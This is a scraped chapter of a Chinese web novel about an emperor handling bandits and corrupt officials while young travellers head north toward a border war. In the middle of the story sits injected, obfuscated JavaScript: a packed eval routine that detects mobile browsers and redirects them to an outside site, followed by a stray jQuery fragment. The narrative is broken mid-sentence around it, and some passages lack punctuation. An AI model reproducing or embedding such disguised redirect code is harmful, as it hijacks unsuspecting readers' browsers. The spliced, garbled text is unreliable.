温老元帅将纸拿起来,将上面的内容仔仔细细地看了又看,脸上总算是露出了笑容,一颗心也回到了原处。
皇帝见他也笑了,这才道,“幼宁胆大,她那师兄心细,太子也是有勇有谋,他们三人倒是配合得不错。才走了一半,就端了一个土匪窝!从那土匪窝里缴出了几十箱子金银珠宝,可见那土匪窝横行霸道了多久,害了多少人!真是大功一件啊!”
夸虞幼宁三人的时候,皇帝是真的高兴。
可等夸完了他们,皇帝脸上的笑容逐渐消失,面容冷了下来。
“他们三人有多能干,当地的官员就有多无能!”
“这么大的一个土匪窝,作恶多端,害了那么多人,敛了那么多财,他们竟然不管!”
“就算他们没有能力对付,竟也从不上报!”
“依朕看,他们就和这些土匪有所勾连,所以才隐瞒不报!”
温老元帅立即站了起来,和文首辅一起行了一礼,“皇上英明!”
皇帝看了两人一眼,眼中有些许的无奈。
现在是夸他的时候吗?
“立即派钦差大臣前去调查,若是当地官员真的和土匪有所勾连,斩立决!”
当了官,既不能为国出力,又不能守护一方百姓,要他们有何用处?
只是无能还罪不至死,可他们若是和土匪勾连,谋财害命,鱼肉百姓,那死一万次也不为过!
皇帝叹了一口气,“朕知道,大雍疆域辽阔,地方百姓过得如何,朕远在京城,不能知道得一清二楚。之前朕也想过派人前去巡查,却并未找到合适的人选。
这次太子出京,一路向北而去,倒是可以顺途查一查这些事情!等北边的事情处理完了,他们也不必着急回来,可以绕到西边,从西边去南边,转一圈再回来。”
这么说着,皇帝越发觉得自己的主意十分不错,笑着看向了文首辅和温老元帅,“你们觉得朕这个主意如何?”
文首辅和温老元帅甚至都没看向对方,直接就对着皇帝行了一礼,“皇上的主意自然是好的!”
除了要更长时间见不到虞幼宁,这主意的确没有任何坏处。
对幼宁自己来说,她肯定也是乐意的。
不论往哪个方向去,都有无数的
美食等着她她高兴还来不及!
温老元帅在心中叹了一口气。
要是他这把老骨头也能离京出去转转就好了!
皇帝看了一眼温老元帅无声地笑了。
别以为不说他就看不出他们两个心中是怎么想的了。
不就是想跟着一起去吗?
他这个皇帝还想跟着一起去呢!可都没有机会!他们两个就更别想了!还是好好的待在京城陪着他吧!
“文爱卿林衍那边审得如何了?”
听到皇帝问起林衍文首辅和温老元帅的神情都变得严肃了起来。
“回禀皇上!经过审问和查证已经证实林思琼所说之事全都是真的林衍的确参与了拐卖和**以及敛财。”
“呵!”皇帝冷笑一声“朕以前倒是没看出来他竟然还有这样的胆量!”
这么多年来林衍都表现得平庸又胆小。
不曾想在不为人知的背后林衍竟然能干出此等“大事”。
“他上面的人可查出具体是谁了?”皇帝又问。
想要办成这事
在他之上肯定有权势更大的人!
而朝中有这样的权势又有这样胆子的人并没有几个。
文首辅面露愧色“臣无能暂时还未问出来。”
“不是你无能。”皇帝冷笑一声“是林衍有恃无恐!他定然想着他有虞听晚那样一个女儿有幼宁这样一个外孙女朕肯定会留他一命所以才死咬着不说。想的是很好可惜他却想得太多了。朕命你不论用什么办法只要能审问出结果就行人**也没有关系。”
文首辅等了这么久等的就是这句话。
“臣领旨!”
皇帝深深地看了文首辅一眼。
这个老狐狸就是来等这个圣旨的!
“林思琼那边呢?”皇帝又问“可又说了些什么没有?”
“她要求见沈卿墨。”
“让她见。”
原本以为沈卿墨知道的更多可沈卿墨却是个面子货一直都在狐假虎威其实根本就接触不到上面的人。
现在沈卿墨在牢里已经半死不活了。
反正早晚都要死若是能在死之前贡献一点价值那也是好的!
“至于林若梨”皇上沉吟了要一会儿“先将她放了吧!”
若是那个婆婆和林思琼真的有什么不为人知的关系那婆婆知道林若梨身边没了母亲一人流落在外定然不会放任不管。
只要在林若梨周围安排好人说不定就能来个守株待兔瓮中捉鳖!
三人君臣相处多年这些话根本不用皇帝多说文首辅和温老元帅就都明白也都应了下来。
两辆马车再次上路。
这次比之前赶路的速度更快了。
因为山匪的事情他们已经耽搁了两天。
现在更是要加紧赶路!
马车里虞幼宁叹了一口气“那些山匪还挺好用的之前我还想着带着他们去北边战场上也让他们在前面冲锋陷阵没想到他们子项产生最后竟然死得差不多了。”
楚淮序笑着摇了摇头“他们就是一些草寇会一点点的拳脚功夫再加上心黑手很对付普通人还行。可若是上了战场他们根本就没有什么抵抗之力连聊胜于无都算不上。”
虞幼宁仔细地想了想也赞同的点了点头“好像是这样!”
楚淮序并没有错过虞幼宁面上的深思有些好奇“幼宁
“去过啊!”
“什么时候去的?”
“两年前吧!被大伯带去的。”
楚淮序瞳孔瞬间放大。
两年前?
那岂不是知上次和西凉打仗的时候?
那时虞幼宁才三岁多吧?
温元帅怎么能带一个三岁的女娃娃上战场?
哪怕只是在军营当中也十分危险啊!
温元帅这么做真的不会挨揍吗?
楚淮序好一会儿才整理好自己的思绪尽量让自己的语气平和一些“幼宁两年前的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611847|172147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事情你还清楚地记得?”
“记得啊!我的记性可好了!”
“那你那个时候为什么要跟着温元帅一起上战场啊?你不害怕吗?”
“不害怕啊!是师父带着我来的!他说学医不能只是纸上谈兵要有实践在实践中才能进步得更快掌
握得更多!”
楚淮序,“.”
以前只听说过药王谷谷主的大名,知道他医术了得,声名在外,却不曾想,竟然如此.胆大!
他和虞幼宁这对师徒,当真是一个敢教,一个敢学!
楚淮序还想再问一些细节,却见虞幼宁大大的眼睛里逐渐没了神采,眼皮也一张一合。
这样的情形,他已经不是第一次看见了,知道虞幼宁这是困了。
果不其然,没一会儿,虞幼宁身子一歪,就直接躺在地上睡了。
好在地上铺着厚厚的毯子,她就这么躺着睡也没关系。
不会颠簸,不会不小心掉下去。
楚淮序拿起身边的毯子,给虞幼宁盖在了身上。
今日比前两日更冷了一些。
之前还能看见树上的枯叶,可现在,大部分的树枝都已经变得光秃秃的了。
今今日还没有阳光,天色阴沉沉的,寒风不住地吹着。
即便这马车很严实,可只听着外面寒风呼啸,也会觉得身上凉飕飕的。
楚淮序有些忧心地皱起了眉。
这才九月里,怎么就要下雪了?
他虽未来过北边,却也知道这边十月下雪很是正常,九月还是有些早了。
可天要下雪,他也是没有办法阻挡的。
江令舟看着楚淮序,见他眉头紧锁,轻声道,“不用担心,腾蛇今年降世,必定风调雨顺。不会有天灾。就算下雪,也只是比往年冷得早一些,并不会有雪灾!”
听到江令舟这话,楚淮序下意识地看向了虞幼宁的手腕。
他刚刚还看得清清楚楚,腾蛇幻化的手镯,还在虞幼宁白嫩的手腕上挂着呢!
有腾蛇在,的确不用担心天灾!
之前是他想多了!
不过,江令舟怎么会知道这些?
果然是从小一起长大的师兄妹,知道的东西就是多。
所以,江令舟是在跟他炫耀吗?
字字不含炫耀,字字去在炫耀!
楚淮序看了一眼江令舟后,淡然地收回了视线。
幼宁睡了,他才不会说话打扰幼宁睡觉!
江令舟看着楚淮序的眼神,面上不显,心中却笑了。
他还以为这太子多么的成熟稳重,现在看来,也是很容易生气的啊!
凉城。
这里是大雍的最北边。
过了凉城,就是边境。
以往,边境都是空无一人,植被也少,一眼望去,十分的萧条。
可是现在,西凉集结了大军,就守在两国交界处,随时都有可能跨境而来。
霍清尘站在霍云安身边,小小的身子也穿着甲胄,神情紧绷着,脸颊都比之前消瘦了许多。
“大哥,西凉真的会打过来吗?”